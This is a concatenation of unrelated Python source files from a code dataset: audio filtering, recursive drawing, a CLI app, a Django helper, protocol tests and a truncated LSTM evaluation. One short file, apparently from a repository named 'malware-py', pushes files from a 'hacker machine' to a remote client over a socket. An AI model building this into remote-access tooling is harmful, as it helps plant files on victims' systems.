= Queue()\nfiltered_data_queue = Queue()\n\n\ndef plot_update_thread():\n while True:\n if not octave_data_queue.empty():\n octave_values = octave_data_queue.get()\n update_plot(stem_container, octave_values)\n time.sleep(0.1) # Adjust sleep time as needed\n\n\n# # Start the plot update thread\n# plot_thread = threading.Thread(target=plot_update_thread, daemon=True)\n# plot_thread.start()\n\n\ndef calculate_note_ranges(base_freq, num_notes, sample_rate):\n note_ranges = []\n for i in range(num_notes):\n fmin = base_freq * (2 ** i) # Minimum frequency for the note\n fmax = base_freq * (2 ** (i/12)) # Maximum frequency for the octave\n\n # Normalize the frequencies\n fmin_normalized = fmin\n fmax_normalized = fmax\n\n note_ranges.append((fmin_normalized, fmax_normalized))\n return note_ranges\n\n\ndef calculate_octave_ranges(base_freq, num_octaves, sample_rate):\n octave_ranges = []\n for i in range(num_octaves+1):\n fmin = base_freq * (2 ** i) # Minimum frequency for the octave\n fmax = base_freq * (2 ** (i+1)) # Maximum frequency for the octave\n\n # Normalize the frequencies\n fmin_normalized = fmin\n fmax_normalized = fmax\n\n octave_ranges.append((fmin_normalized, fmax_normalized))\n return octave_ranges\n\n\n# Initialize PyAudio\npa = pyaudio.PyAudio()\ndevices = pa.get_device_count()\nprint(f\"num devices: {devices}\")\nif devices < 1:\n print(f\"num of devices is {devices}. need at least one device\")\n sys.exit(1)\nsample_rate = 44100 # Adjust as needed\nmic_index = -1\nthis_device = None\nfor i in range(pa.get_device_count()):\n dev = pa.get_device_info_by_index(i)\n print(f\"Device {i}: {dev['name']}, Channels: {dev['maxInputChannels']}\")\n for key in dev.keys():\n print(f\"key: {key}val: {dev[key]}\")\n # add a device name from the list that you have\n if 'Razer Kiyo' in dev['name']:\n print(f\"razr cam has mic, using index {i}\")\n mic_index = i\n sample_rate = 48000 # for razer kiyo cam\n on_threshold = .3 # Threshold to turn the indicator on\n off_threshold = .1 # Threshold to turn the indicator off\n this_device = dev\n break\n if 'default' in dev['name']:\n mic_index = i\n print(f\"sydef mic, using index {mic_index}\")\n sample_rate = 48000 # for default mic in most systems\n on_threshold = .3 # Threshold to turn the indicator on\n off_threshold = .1 # Threshold to turn the indicator off\n this_device = dev\n break\n\nif mic_index == -1:\n print(\"no mic detected...\\nExiting\")\n sys.exit(1)\n\n# Sample rate and base frequency\nbase_freq = 16.35159783 # Starting frequency of the first octave\n# Calculate octave ranges\nnum_octaves = 7\noctave_ranges = calculate_octave_ranges(base_freq, num_octaves, sample_rate)\nnum_notes = 88\nnote_ranges = calculate_note_ranges(base_freq, num_notes, sample_rate)\nN = 1000\n# Instantiate FIR filters for each octave\nfilters = [FIRFilter(N, fmin=fmin, fmax=fmax, padding_factor=2, fs=8000) for fmin, fmax in octave_ranges]\nfig = plt.figure(figsize=(22, 22))\nfor i, filter in enumerate(filters):\n filter.plot_filter(fig, len(filters)+1, 1, i+1)\n plt.tight_layout(pad=2)\n \nplt.show()\ninput()\n#sys.exit(1)\n\n#filters = [FIRFilter(N, fmin=fmin*N, fmax=fmax*N, padding_factor=9) for fmin, fmax in octave_ranges]\nprint(f\"octave ranges: {octave_ranges}\")\n#print(f\"note ranges: {note_ranges}\")\n#sys.exit(1)\n# Define a decay time in seconds (adjust as needed)\ndecay_time = 0.01 # half a second, for example\n\n# Keep track of the last time a note was detected for each filter\nlast_detection_times = [0] * len(filters)\n\nbuffer_len = 1024<<2\nstem_buffer = np.arange(1, buffer_len+1)\n# Initialize the plot\nplt.ion() # Turn on interactive mode\nfig, ax = plt.subplots()\nfig2, ax2 = plt.subplots()\noctave_indices = np.arange(0, num_octaves+1) # Octave indices\noctave_values = np.zeros(num_octaves+1)\nprint(f\"len(octave_values): {len(octave_values)}\")\nprint(f\"len(octave_indices): {len(octave_indices)}\")\nfiltered_data_vals = np.zeros(buffer_len)# Initial octave values\nstem_container = ax.stem(octave_indices, octave_values)\nstem_container2 = ax2.stem(stem_buffer, filtered_data_vals)\n#ax.set_ylim(0, 1.5) # Set the limits of the y-axis\n#ax.set_xlim(-2, 9) # Set the limits of the y-axis\nax.set_ylim([0, 2])\nax.set_xlim([0, 10])\nax2.set_ylim([-1, 2])\nax2.set_xlim([0, buffer_len])\nplt.show(block=False)\nplt.pause(.01)\n\n\ndef update_plot():\n if not octave_data_queue.empty() and not filtered_data_queue.empty():\n octave_values = octave_data_queue.get()\n filtered_data_vals = filtered_data_queue.get()\n\n # Update octave stem plot\n stem_container.markerline.set_ydata(octave_values)\n #print(f\"octave_indices: {octave_indices} \\noctave_values: {octave_values}\")\n stem_container.stemlines.set_segments([[[x, 0], [x, y]] for x, y in zip(octave_indices, octave_values)])\n\n # Update filtered data stem plot\n stem_container2.markerline.set_ydata(filtered_data_vals)\n stem_container2.stemlines.set_segments([[[x, 0], [x, y]] for x, y in zip(stem_buffer, filtered_data_vals)])\n\n ax.draw_artist(ax.patch)\n ax2.draw_artist(ax2.patch)\n ax.draw_artist(stem_container.markerline)\n ax.draw_artist(stem_container.stemlines)\n ax2.draw_artist(stem_container2.markerline)\n ax2.draw_artist(stem_container2.stemlines)\n fig.canvas.update()\n fig.canvas.flush_events()\n fig2.canvas.update()\n fig2.canvas.flush_events()\n\n\n# def update_plot():\n# if not octave_data_queue.empty() and not filtered_data_queue.empty():\n# #print(\"updating plot\")\n# octave_values = octave_data_queue.get()\n# filtered_data_vals = filtered_data_queue.get()\n\n# # Update the octave stem plot\n# stem_container.markerline.set_ydata(octave_values)\n# stem_container.stemlines.set_segments([[[i, 0], [i, y]] for i, y in enumerate(octave_values)])\n\n# # Update the filtered data stem plot\n# stem_container2.markerline.set_ydata(filtered_data_vals)\n# stem_container2.stemlines.set_segments([[[i, 0], [i, y]] for i, y in enumerate(filtered_data_vals)])\n\n# # Redraw the canvas\n# fig.canvas.draw()\n# plt.pause(0.1) # Adjust pause time as needed\n\n\n# def update_plot():\n# if not octave_data_queue.empty():\n# octave_values = octave_data_queue.get()\n# filtered_data_vals = filtered_data_queue.get()\n# ax.set_ylim([0, 10])\n# ax.set_xlim([0, 10])\n# stem_container[0].set_ydata(octave_values)\n# stem_container2[0].set_ydata(filtered_data_vals)\n# #print(f\"data from stem: {octave_values}\")\n# fig.canvas.draw()\n# plt.pause(1) # Adjust sleep time as needed\n\n\nis_note_detected = [False] * num_notes # State for each octave\n\n\n#fig2, ax2 = plt.subplots()\ndef callback(in_data, frame_count, time_info, status):\n audio_data = np.frombuffer(in_data, dtype=np.float32)\n filtered_data = [filter.process(audio_data) for filter in filters]\n #print(f\" audio_data len = {len(audio_data)}\")\n # Check if the length of audio_data is less than the buffer length\n if len(audio_data) < buffer_len:\n # Pad audio_data to make its length equal to buffer_len\n audio_data = np.pad(audio_data, (0, buffer_len - len(audio_data)), 'constant')\n\n # Rest of the processing remains the same\n filtered_data = [filter.process(audio_data) for filter in filters]\n # Summing the first 1024 elements of each array in filtered_data\n filtered_data_vals = audio_data\n # np.sum([arr[0:1023] for arr in filtered_data],axis=0)\n # Plot a segment of audio data\n for i, data in enumerate(filtered_data):\n max_abs_val = np.max(np.abs(data.real))\n if max_abs_val == 0 or np.isnan(max_abs_val):\n normed_data = data.real # No normalization if max is 0 or nan\n else:\n normed_data = data.real / max_abs_val\n current_time = time.time()\n if i >= 6:\n break\n if is_note_detected[i]:\n print(f\"i: {i}, normed_data max: {np.max(np.abs(normed_data.real))}, is_note_detected: {is_note_detected[i]}\")\n if (np.max(normed_data.real) < off_threshold):\n print(f\"last_detection_times[i]: {last_detection_times[i]}\")\n is_note_detected[i] = False\n octave_values[i] = 0\n else:\n print(f\"i: {i}, normed_data max: {np.max(np.abs(normed_data.real))}, is_note_detected: {is_note_detected[i]}\")\n if np.max(np.abs(normed_data.real)) > on_threshold:\n last_detection_times[i] = current_time\n is_note_detected[i] = True\n octave_values[i] = 1\n octave_data_queue.put(octave_values.copy())\n filtered_data_queue.put(filtered_data_vals.copy())\n return (in_data, pyaudio.paContinue)\n\n\nfig_test, ax_test = plt.subplots(figsize=(22,22))\nax_test.set_ylim([-1, 1])\nplt.xlabel('Time') # Label for x-axis\nplt.ylabel('Amplitude') # Label for y-axis\nplt.title('all data Filtered Data Over Time') # Title of the plot\ngain = 2\ndef callback_notime(in_data, frame_count, time_info, status):\n audio_data = np.frombuffer(in_data, dtype=np.float32)\n filtered_data = [filter.process(audio_data) for filter in filters]\n time = np.arange(len(filtered_data[0]))\n ax_test.clear()\n ax_test.set_ylim([-1, 1])\n plt.xlabel('Time') # Label for x-axis\n plt.ylabel('Amplitude') # Label for y-axis\n plt.title('all data Filtered Data Over Time') # Title of the plot\n for data in filtered_data:\n plt.plot(time, data)\n plt.show(block=False)\n\n # Check if the length of audio_data is less than the buffer length\n if len(audio_data) < buffer_len:\n # Pad audio_data to make its length equal to buffer_len\n audio_data = np.pad(audio_data, (0, buffer_len - len(audio_data)), 'constant')\n\n #filtered_data_vals = audio_data\n filtered_data_vals = audio_data\n for i, data in enumerate(filtered_data):\n max_abs_val = np.max((data.real))\n min_abs_val = np.min((data.real))\n if max_abs_val == 0 or np.isnan(max_abs_val):\n max_abs_val = 1\n normed_data = data.real/max_abs_val # No normalization if max is 0 or nan\n elif max_abs_val <= .5:\n normed_data = 2*data.real/max_abs_val\n else:\n normed_data = data.real/max_abs_val\n\n if min_abs_val == 0:\n power = 0\n else:\n power = 100*(max_abs_val - min_abs_val)\n\n on_threshold = 50 # Threshold to turn the indicator on\n\n # Use threshold to set octave_values to 1 or 0\n #print(f\"max: {max_abs_val}\")\n #print(f\"min: {min_abs_val}\")\n if power > on_threshold:\n is_note_detected[i] = True\n octave_values[i] = 1\n else:\n is_note_detected[i] = False\n #print(f\"i: {i}\")\n #print(f\"len(filters): {len(filtered_data)}\")\n #print(f\"len(octave_values): {len(octave_values)}\")\n \n octave_values[i] = 0\n\n octave_data_queue.put(octave_values.copy())\n filtered_data_queue.put(filtered_data_vals.copy())\n return (in_data, pyaudio.paContinue)\n\n\n\n# # Stream callback function\n# def callback(in_data, frame_count, time_info, status):\n# audio_data = np.frombuffer(in_data, dtype=np.float32)\n\n# # Process through each FIR filter\n# filtered_data = [filter.process(audio_data) for filter in filters]\n# current_time = time.time()\n# # Analyze the filtered data to update octave_values\n# for i, data in enumerate(filtered_data):\n# if np.max(np.abs(data)) > 20: # Threshold to detect note presence\n# octave_values[i] = 1\n# last_detection_times[i] = current_time\n# #print(f\"max data on filter {i}: {np.max(np.abs(data))}\")\n# elif current_time - last_detection_times[i] > decay_time:\n# octave_values[i] = 0\n\n# # Instead of updating the plot, put the data in the queue\n# data_queue.put(octave_values.copy())\n# return (in_data, pyaudio.paContinue)\n\n\n# Function to handle audio processing\ndef audio_thread():\n pa = pyaudio.PyAudio()\n stream = pa.open(format=pyaudio.paFloat32,\n channels=1,\n rate=sample_rate,\n input=True,\n input_device_index=mic_index,\n stream_callback=callback_notime,\n frames_per_buffer=buffer_len)\n\n stream.start_stream()\n while stream.is_active():\n time.sleep(0.1)\n\n stream.stop_stream()\n stream.close()\n pa.terminate()\n\n\n# Start the audio processing in a separate thread\naudio_proc_thread = threading.Thread(target=audio_thread)\naudio_proc_thread.start()\n\n\n# Main loop\ntry:\n while True:\n update_plot()\n time.sleep(.01) # Adjust sleep time as needed\nexcept KeyboardInterrupt:\n # Handle exit gracefully\n print(\"ctrl-C pressed\\nExiting\")\n\n\n# Wait for the audio thread to finish\naudio_proc_thread.join()\n","repo_name":"Mgomez-01/DSP_Project","sub_path":"misc_testing/test_audio_input.py","file_name":"test_audio_input.py","file_ext":"py","file_size_in_byte":13426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16598450180","text":"#Course:CS2302\r\n#aAuthor:Daniela Flores\r\n#Lab1\r\n#Instructor:Olac Fuentes\r\n#T.A: Dita Nath\r\n#date of last Mod: 2/8/19\r\n#purpose of program: in this program I had to write recursive methods that'll draw various shapes.\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport math \r\n#the next two methods draw circles within the previous circle, the center is the radious\r\ndef circle(center,rad):\r\n n = int(4*rad*math.pi)\r\n t = np.linspace(0,6.3,n)\r\n x = center[0]+rad*np.sin(t)\r\n y = center[1]+rad*np.cos(t)\r\n return x,y\r\n\r\ndef draw_circles(ax,n,center,radius,w):\r\n if n>0:\r\n x,y = circle(center,radius)\r\n #here the radius is added to the center\r\n ax.plot(x+radius,y,color='k')\r\n draw_circles(ax,n-1,center,radius*w,w)\r\n#call where 10 circles are drawn \r\nplt.close(\"all\") \r\nfig, ax = plt.subplots() \r\ndraw_circles(ax, 10, [100,0], 100,.6)\r\nax.set_aspect(1.0)\r\nax.axis('off')\r\nplt.show()\r\nfig.savefig('circles.png')\r\n\r\n#call where 40 circles are drawn\r\nplt.close(\"all\") \r\nfig, ax = plt.subplots() \r\ndraw_circles(ax, 40, [100,0], 100,.87)\r\nax.set_aspect(1.0)\r\nax.axis('off')\r\nplt.show()\r\nfig.savefig('circles.png')\r\n\r\n#call where 62 circles are drawn\r\nplt.close(\"all\") \r\nfig, ax = plt.subplots() \r\ndraw_circles(ax, 62, [100,0], 100,.94)\r\nax.set_aspect(1.0)\r\nax.axis('off')\r\nplt.show()\r\nfig.savefig('circles.png')\r\n##########################################################################\r\n#the following methods draw squares in the vertices of the larger square\r\ndef draw_squares(ax,n,p,r,c):\r\n if n>0:\r\n #i1 = [[c[0]+radius],2,3,0,1]\r\n newCor = np.array([ [c[0]+r,c[1]+r], [c[0]-r,c[1]+r],[c[0]-r,c[1]-r],[c[0]+r,c[1]-r],[c[0]+r,c[1]+r]])\r\n # 0+25 , 0+25 // 0-25 , 0+25 // 0-25 , 0-25 // 0+25 , 0-25// 0+25, 0+25\r\n # (25,25) (-25,25) (-25,-25) (25,-25) (25,25)\r\n ax.plot(newCor[:,0],newCor[:,1],color = 'k')\r\n #with respect to center:\r\n newR = r//2\r\n newCenter = [c[0]+r,c[1]+r]\r\n newCenter2 = [c[0]-r,c[1]+r] \r\n newCenter3 = [c[0]-r,c[1]-r]\r\n newCenter4 = [c[0]+r,c[1]-r]\r\n \r\n draw_squares(ax,n-1,newCor,newR,newCenter)\r\n draw_squares(ax,n-1,newCor,newR,newCenter2)\r\n draw_squares(ax,n-1,newCor,newR,newCenter3)\r\n draw_squares(ax,n-1,newCor,newR,newCenter4)\r\n\r\n#call where 2 sets of circles are drawn\r\nplt.close(\"all\") \r\nradius = 40\r\ncenter = [0,0]\r\np = np.array([[-radius,-radius],[-radius,radius],[radius,radius],[radius,-radius],[-radius,-radius]])\r\nfig, ax = plt.subplots()\r\ndraw_squares(ax,2,p,radius,center)\r\nax.set_aspect(1.0)\r\nax.axis('off')\r\nplt.show()\r\nfig.savefig('squares.png')\r\n#call where 3 sets of squares are drawn\r\nplt.close(\"all\") \r\nradius = 40\r\ncenter = [0,0]\r\np = np.array([[-radius,-radius],[-radius,radius],[radius,radius],[radius,-radius],[-radius,-radius]])\r\nfig, ax = plt.subplots()\r\ndraw_squares(ax,3,p,radius,center)\r\nax.set_aspect(1.0)\r\nax.axis('off')\r\nplt.show()\r\nfig.savefig('squares.png')\r\n#call where 4 sets of squares are drawn\r\nplt.close(\"all\") \r\nradius = 40\r\ncenter = [0,0]\r\np = np.array([[-radius,-radius],[-radius,radius],[radius,radius],[radius,-radius],[-radius,-radius]])\r\nfig, ax = plt.subplots()\r\ndraw_squares(ax,4,p,radius,center)\r\nax.set_aspect(1.0)\r\nax.axis('off')\r\nplt.show()\r\nfig.savefig('squares.png')\r\n##############################################################################\r\n#the following methods draw 5 smaller circles inside the bigger circle\r\ndef circle2(center,rad):\r\n n = int(4*rad*math.pi)\r\n t = np.linspace(0,6.3,n)\r\n x = center[0]+rad*np.sin(t)\r\n y = center[1]+rad*np.cos(t)\r\n return x,y\r\n\r\ndef draw_circles2(ax,n,center,Radius):\r\n if n>0:\r\n x,y = circle2(center,Radius)\r\n ax.plot(x,y,color='k')\r\n Radius = Radius/3\r\n newCenterL =np.array( [((1/3)*center[0]),0])\r\n\r\n x,y = circle2(newCenterL,Radius)\r\n ax.plot(x,y,color='r')\r\n \r\n newCenterM = np.array([center[0],0])\r\n\r\n x,y = circle2(newCenterM,Radius)\r\n ax.plot(x,y,color='m')\r\n newCenterR = np.array( [(((2/3)*center[0])+center[0]),0])\r\n\r\n x,y = circle2(newCenterR,Radius)\r\n ax.plot(x,y,color='c')\r\n newCenterUp =np.array( [center[0],((2/3)*center[0])])\r\n\r\n x,y = circle2(newCenterUp,Radius)\r\n ax.plot(x,y,color='b')\r\n newCenterDown =np.array( [center[0],((-2/3)*center[0])])\r\n x,y = circle2(newCenterDown,Radius)\r\n ax.plot(x,y,color='g')\r\n\r\n draw_circles2(ax,n-1,newCenterL,Radius)\r\n draw_circles2(ax,n-1,newCenterM,Radius)\r\n draw_circles2(ax,n-1,newCenterR,Radius)\r\n draw_circles2(ax,n-1,newCenterUp,Radius)\r\n draw_circles2(ax,n-1,newCenterDown,Radius) \r\n#here 2 sets of circles are drawn \r\nplt.close(\"all\") \r\nfig, ax = plt.subplots() \r\ndraw_circles2(ax, 1, np.array([100,0]), 100) \r\nax.set_aspect(1.0)\r\nax.axis('on')\r\nplt.show()\r\nfig.savefig('circles.png')\r\n#here 3 sets of circles are drawn \r\nplt.close(\"all\") \r\nfig, ax = plt.subplots() \r\ndraw_circles2(ax, 2, np.array([100,0]), 100) \r\nax.set_aspect(1.0)\r\nax.axis('on')\r\nplt.show()\r\nfig.savefig('circles.png')\r\n#4 sets of circles are drawn\r\nplt.close(\"all\") \r\nfig, ax = plt.subplots() \r\ndraw_circles2(ax, 3, np.array([100,0]), 100) \r\nax.set_aspect(1.0)\r\nax.axis('on')\r\nplt.show()\r\nfig.savefig('circles.png')\r\n#####################################################################\r\n#the following methods draw an upside down tree\r\ndef draw_triangle(ax,n,p,len,center):\r\n leftsubL = [-len,-len]\r\n rightsubL =[len,-len]\r\n treeAr = np.array([leftsubL,center,rightsubL])\r\n if n>0:\r\n\r\n \r\n LL = ((leftsubL[0]+leftsubL[0]//2),(leftsubL[0]+leftsubL[0]//2))\r\n\r\n \r\n newRightC = [(leftsubL[0]+leftsubL[1]//-2),(leftsubL[0]+leftsubL[0]//2)]\r\n new = np.array([leftsubL,LL,leftsubL,newRightC])\r\n \r\n ax.plot(new[:,0],new[:,1],color = 'k')\r\n\r\n newLeftR = [(rightsubL[0]-rightsubL[1]//-2),(rightsubL[0]-rightsubL[0]//-2)]\r\n\r\n newRightR = [(rightsubL[0]+rightsubL[0]//2),(rightsubL[0]+rightsubL[1]//2)]\r\n new2 = np.array([rightsubL,newLeftR,rightsubL,newRightR])\r\n # ax.plot(new2[:,0],new2[:,1],color = 'k')\r\n newLen = len+(len//3)\r\n \r\n \r\n draw_triangle(ax,n-1,treeAr,newLen,leftsubL)\r\n draw_triangle(ax,n-1,treeAr,newLen,rightsubL)\r\n \r\n#here 2 branches are drawn\r\nplt.close(\"all\") \r\nlength = 25\r\ncenter = [0,0]\r\np = np.array([[-length,-length],[center[0],center[1]],[length,-length]])\r\nfig, ax = plt.subplots()\r\ndraw_triangle(ax,2,p,length,center)\r\nax.set_aspect(1.0)\r\nax.axis('on')\r\nplt.show()\r\nfig.savefig('squares.png')\r\n#here three branches are drawn\r\nplt.close(\"all\") \r\nlength = 25\r\ncenter = [0,0]\r\nfig, ax = plt.subplots()\r\ndraw_triangle(ax,3,p,length,center)\r\nax.set_aspect(1.0)\r\nax.axis('on')\r\nplt.show()\r\nfig.savefig('squares.png')\r\n#here 4 sets of branches are drawn\r\nplt.close(\"all\") \r\nlength = 25\r\ncenter = [0,0]\r\nfig, ax = plt.subplots()\r\ndraw_triangle(ax,4,p,length,center)\r\nax.set_aspect(1.0)\r\nax.axis('on')\r\nplt.show()\r\nfig.savefig('squares.png')\r\n","repo_name":"DanielaFlore/CS2302","sub_path":"cs3Lab1.py","file_name":"cs3Lab1.py","file_ext":"py","file_size_in_byte":7294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"30393469668","text":"\nfrom cement import App, TestApp\nfrom cement.core.exc import CaughtSignal\n\nfrom synapser.core.interfaces import HandlersInterface\nfrom synapser.handlers.command import CommandHandler\nfrom synapser.handlers.instance import InstanceHandler\nfrom synapser.handlers.api import SignalHandler\nfrom synapser.handlers.plugin import PluginLoader\nfrom .core.exc import SynapserError\nfrom .controllers.base import Base\nfrom .controllers.plugin import Plugin\n\n\nclass Synapser(App):\n \"\"\"synapser primary application.\"\"\"\n\n class Meta:\n label = 'synapser'\n\n # call sys.exit() on close\n exit_on_close = True\n\n # load additional framework extensions\n extensions = [\n 'synapser.ext.database',\n 'synapser.ext.server',\n 'yaml',\n 'colorlog',\n 'jinja2',\n ]\n\n # configuration handler\n config_handler = 'yaml'\n\n # configuration file suffix\n config_file_suffix = '.yml'\n\n # set the log handler\n log_handler = 'colorlog'\n\n # set the output handler\n output_handler = 'jinja2'\n\n plugin_handler = 'plugin_loader'\n\n interfaces = [\n HandlersInterface\n ]\n\n # register handlers\n handlers = [\n Base, CommandHandler, PluginLoader, InstanceHandler, SignalHandler, Plugin\n ]\n\n def get_config(self, key: str):\n if self.config.has_section(self.Meta.label):\n if key in self.config.keys(self.Meta.label):\n return self.config.get(self.Meta.label, key)\n\n return None\n\n\nclass SynapserTest(TestApp, Synapser):\n \"\"\"A sub-class of Synapser that is better suited for testing.\"\"\"\n\n class Meta:\n label = 'synapser'\n\n\ndef main():\n with Synapser() as app:\n try:\n app.run()\n\n except AssertionError as e:\n print('AssertionError > %s' % e.args[0])\n app.exit_code = 1\n\n if app.debug is True:\n import traceback\n traceback.print_exc()\n\n except SynapserError as e:\n print('SynapserError > %s' % e.args[0])\n app.exit_code = 1\n\n if app.debug is True:\n import traceback\n traceback.print_exc()\n\n except CaughtSignal as e:\n # Default Cement signals are SIGINT and SIGTERM, exit 0 (non-error)\n print('\\n%s' % e)\n app.exit_code = 0\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"epicosy/synapser","sub_path":"synapser/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33352985984","text":"import json\nimport warnings\n\nfrom django import VERSION\nfrom django.forms.utils import flatatt\nfrom django.templatetags.static import static\nfrom django.utils.html import format_html, html_safe, mark_safe\n\n\n__all__ = (\"JS\", \"static\")\n\n\n_sentinel = object()\n\n\nclass JS:\n \"\"\"\n Use this to insert a script tag via ``forms.Media`` containing additional\n attributes (such as ``id`` and ``data-*`` for CSP-compatible data\n injection.)::\n\n forms.Media(js=[\n JS('asset.js', {\n 'id': 'asset-script',\n 'data-answer': '\"42\"',\n }),\n ])\n\n The rendered media tag (via ``{{ media.js }}`` or ``{{ media }}`` will\n now contain a script tag as follows, without line breaks::\n\n \n\n The attributes are automatically escaped. The data attributes may now be\n accessed inside ``asset.js``::\n\n var answer = document.querySelector('#asset-script').dataset.answer;\n \"\"\"\n\n def __init__(self, js, attrs=None, static=_sentinel):\n self.js = js\n self.attrs = attrs or {}\n if static is not _sentinel:\n warnings.warn(\n \"JS automatically determines whether it received an absolute\"\n \" path or not. Stop passing the 'static' argument please.\",\n DeprecationWarning,\n stacklevel=2,\n )\n\n def startswith(self, _):\n # Masquerade as absolute path so that we are returned as-is.\n return True\n\n def __repr__(self):\n return f\"JS({self.js}, {json.dumps(self.attrs, sort_keys=True)})\"\n\n if VERSION >= (4, 1):\n\n def __str__(self):\n return format_html(\n '',\n self.js\n if self.js.startswith((\"http://\", \"https://\", \"/\"))\n else static(self.js),\n mark_safe(flatatt(self.attrs)),\n )\n\n else:\n\n def __html__(self):\n js = (\n self.js\n if self.js.startswith((\"http://\", \"https://\", \"/\"))\n else static(self.js)\n )\n return (\n format_html('{}\"{}', js, mark_safe(flatatt(self.attrs)))[:-1]\n if self.attrs\n else js\n )\n\n def __eq__(self, other):\n if isinstance(other, JS):\n return self.js == other.js and self.attrs == other.attrs\n return self.js == other and not self.attrs\n\n def __hash__(self):\n return hash((self.js, json.dumps(self.attrs, sort_keys=True)))\n\n\nif VERSION >= (4, 1):\n JS = html_safe(JS)\n","repo_name":"matthiask/django-js-asset","sub_path":"js_asset/js.py","file_name":"js.py","file_ext":"py","file_size_in_byte":2723,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"} +{"seq_id":"44724960980","text":"from glob import glob\nimport os\n\n# read file from the disk into the program {hacker machine}\n# read it in the form of bytes\n# append a delimeter to the end of bytes\n# transfer file over the network\n# receive files on client side\n# remove the delemeter frorm the bytes to recover the original data\n# write the file on the client disk\n# ****DONT SEND FOLDERS WITH THIS CODE****\n\n\ndef upload_files(my_socket):\n print(\"[+] Upload files\")\n\n files = glob(\"*\")\n for index, filename in enumerate(files):\n new_filename = os.path.basename(filename)\n print(\"/t\", index, \"\\t\", new_filename)\n\n while True:\n try:\n file_index = int(input(\"[+] Select file: \"))\n if len(files) >= file_index >= 0:\n fileName = files[file_index]\n break\n except:\n print(\"[+] Invalid file selected\")\n\n print(\"[+] Selected file = \", fileName)\n my_socket.send_data(fileName) # this sends the filename\n\n my_socket.send_file(fileName) # this sends the actual file\n","repo_name":"AtharvaCM/malware-py","sub_path":"server/core/fileupload.py","file_name":"fileupload.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14645491274","text":"import json\nimport unittest\n\nfrom dmon import event\nfrom dmon import protocol\n\n\nclass TestProtocol(unittest.TestCase):\n\n def test_get_protocol(self):\n proto = protocol.get_protocol(\"json\")\n self.assertEqual(proto, protocol.JSON)\n\n def test_get_unsupported_protocol(self):\n self.assertRaises(protocol.UnsupportedProtocolError,\n protocol.get_protocol,\n \"foo\")\n\n\nclass TestJONProtocol(unittest.TestCase):\n\n def setUp(self):\n self.proto = protocol.JSON()\n self.event = event.Event(host=\"127.0.0.1\",\n service=\"web\",\n state=\"online\",\n description=\"test\",\n time=656789,\n ttl=3600,\n metric=0.5)\n self.event_dict = {'host': \"127.0.0.1\",\n 'service': \"web\",\n 'state': \"online\",\n 'description': \"test\",\n 'time': 656789,\n 'ttl': 3600,\n 'metric': 0.5}\n\n def test_implements_read(self):\n self.assertEqual(self.proto.read(json.dumps(self.event_dict)),\n self.event)\n\n def test_read_malformed_event(self):\n self.assertRaises(protocol.MalformedEventError,\n self.proto.read,\n json.dumps({'foo': \"bar\"}))\n\n def test_write(self):\n self.assertEqual(self.proto.write(self.event),\n json.dumps(self.event_dict))\n","repo_name":"agentultra/dmon","sub_path":"tests/test_protocol.py","file_name":"test_protocol.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"60"} +{"seq_id":"23655016887","text":"'''\nEvaluate the output of LSTM Model\n\nAuthor: Henrik Mader\n'''\n\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nimport scipy.optimize as spo\nimport numpy as np\n\npd.set_option('display.max_rows', None)\npd.set_option('display.max_columns', None)\n\ndf = pd.read_csv(\"./output_files/results/helpdesk/suffix_and_remaining_time_helpdesk.csv\")\ndf = df.rename(columns={\"Prefix length\": \"Prefix\"})\n\n# This range is set to maximal Prefix length + 1\nmaximalRange = 8\n\n\n## Note: If you want to generate the filtered dataframe for Prefix length 2, then uncomment the following four lines out. This will change\n## the predictions of result 1, 2 and 3.\n#caseID = df.loc[df['Prefix'] == 4][\"CaseID\"]\n#df = df[df['CaseID'].isin(caseID)]\n#df = df[df[\"Prefix\"] <= 4]\n#maximalRange = 5\n\n\n\n\ndf[\"Ground truth times\"] = df[\"Ground truth times\"] / (60 * 60 * 24)\ndf[\"Predicted times\"] = df[\"Predicted times\"] / (60 * 60 * 24)\ndf[\"MAE\"] = df[\"MAE\"] / (60 * 60 * 24)\n\ndf = df.drop(['Groud truth', 'Predicted', 'Levenshtein', 'Damerau', 'Jaccard', 'RMSE'], axis=1)\n\nfor k in range(2, maximalRange):\n helperDF = df.loc[df['Prefix'] == k]\n \n Ymean = helperDF[\"Ground truth times\"].mean()\n Ymed = helperDF[\"Ground truth times\"].median()\n\n print(\"Mean first\")\n print(Ymean)\n for index, row in helperDF.iterrows():\n bestCorrelationMean = 0\n errorMean = 100000000000\n bestCorrelationMedian = 0\n errorMedian = 100000000000\n for i in range(0, 11, 1):\n c = i / 10\n df.loc[index, str(c) + \" mean\"] = (c * row[\"Predicted times\"]) + (Ymean * (1 - c))\n if (abs((((c * row[\"Predicted times\"]) + (Ymean * (1 - c)) - row[\"Ground truth times\"]))) < errorMean):\n errorMean = (abs((c * row[\"Predicted times\"]) + (Ymean * (1 - c)) - row[\"Ground truth times\"]))\n bestCorrelationMean = c\n\n df.loc[index, str(c) + \" median\"] = (c * row[\"Predicted times\"]) + (Ymed * (1 - c))\n if (abs((((c * row[\"Predicted times\"]) + (Ymed * (1 - c)) - row[\"Ground truth times\"]))) < errorMedian):\n errorMedian = (abs((c * row[\"Predicted times\"]) + (Ymed * (1 - c)) - row[\"Ground truth times\"]))\n bestCorrelationMedian = c\n\n df.loc[index, \"bestCorrelation Mean\"] = bestCorrelationMean\n df.loc[index, \"MAE Mean\"] = abs((bestCorrelationMean * row[\"Predicted times\"] + (1 - bestCorrelationMean) * Ymean) - row[\"Ground truth times\"])\n df.loc[index, \"bestCorrelation Median\"] = bestCorrelationMedian\n df.loc[index, \"MAE Median\"] = abs((bestCorrelationMedian * row[\"Predicted times\"] + (1 - bestCorrelationMedian) * Ymed) - row[\"Ground truth times\"])\n 